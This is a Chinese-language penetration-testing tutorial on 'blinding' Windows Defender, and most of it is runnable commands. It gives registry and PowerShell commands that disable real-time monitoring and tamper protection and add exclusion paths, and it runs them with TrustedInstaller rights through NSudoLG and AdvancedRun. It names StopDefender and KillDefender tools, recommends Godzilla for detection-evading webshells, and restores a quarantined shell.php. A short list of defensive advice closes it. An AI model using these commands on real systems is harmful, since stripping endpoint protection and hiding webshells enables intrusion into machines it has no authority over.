致盲 Windows defender
字数 1404 2025-08-24 16:48:07
Windows Defender 渗透测试与防御绕过技术详解
1. Windows Defender 概述
Microsoft Defender 是 Windows 10/11 和 Windows Server 的内置防病毒解决方案,具有以下特点:
- 集成机器学习、大数据分析和云基础设施
- 作为 Microsoft Defender for Endpoint 的核心组件
- 提供实时保护和威胁检测功能
- 默认启用且难以完全禁用
2. 环境准备
测试环境配置
- 操作系统:Windows Server 2019
- 用户权限:Administrator
- Web环境:phpstudy 8.1.1.3 + Apache 2.4.39 + PHP 7.3.4
WebShell 免杀技术
使用 Godzilla 工具生成免杀 WebShell:
- 工具地址:https://github.com/BeichenDream/Godzilla
- 推荐加密器:PHP_XOR_BASE64
- 测试方法:
- 静态免杀:直接上传检测
- 动态免杀:连接后执行命令测试
3. TrustedInstaller 权限说明
TrustedInstaller 是 Windows 中的特殊安全主体:
- 全称:NT SERVICE\TrustedInstaller
- 拥有修改系统文件的最高权限
- 关闭 Windows Defender 需要此权限(普通 Administrator 和 SYSTEM 权限不足)
4. Windows Defender 防御绕过技术
4.1 基础命令操作
注册表操作(需管理员权限)
:: 查看排除项
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
:: 查看 Defender 版本
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
:: 检查篡改保护状态(5=开启,4=关闭)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"
:: 注册表关闭 Defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
:: 注册表恢复 Defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
:: 添加排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f
PowerShell 命令
# 查看排除项
Get-MpPreference | select ExclusionPath
# 关闭实时监控
Set-MpPreference -DisableRealTimeMonitoring $true
# 添加排除路径
Add-MpPreference -ExclusionPath "c:\temp"
# 删除排除路径
Remove-MpPreference -ExclusionPath "C:\test"
4.2 使用 NSudoLG 工具获取 TrustedInstaller 权限
工具地址:https://github.com/M2Team/NSudo
:: 使用 TrustedInstaller 权限关闭 Defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"
:: 关闭篡改保护
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"
:: 添加排除项
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"
4.3 使用 AdvancedRun 工具
工具地址:https://www.nirsoft.net/utils/advanced_run.html
AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run
4.4 使用 StopDefender 工具
工具地址:https://github.com/lab52io/StopDefender
StopDefender_x64.exe
5. 高级技巧
5.1 使用 MpCmdRun 恢复被隔离文件
MpCmdRun 是 Defender 的命令行管理工具,位于:
C:\ProgramData\Microsoft\Windows Defender\Platform\<version>
常用命令:
:: 查看被隔离文件列表
MpCmdRun -Restore -ListAll
:: 恢复指定文件
MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php
:: 恢复所有文件
MpCmdRun -Restore -All
:: 检查路径是否在排除列表中
MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\
5.2 移除 Token 使 Defender 失效
原理:移除 MsMpEng.exe 进程的 token 使其无法检测其他进程
工具:
- https://github.com/pwn1sher/KillDefender
- https://github.com/Octoberfest7/KillDefender
注意:此方法成功率可能不高,需在实际环境中测试
6. 防御建议
- 保持篡改保护(TamperProtection)开启
- 限制注册表关键项的修改权限
- 监控 TrustedInstaller 权限的使用
- 定期检查排除项列表
- 使用高级威胁防护方案补充 Defender 功能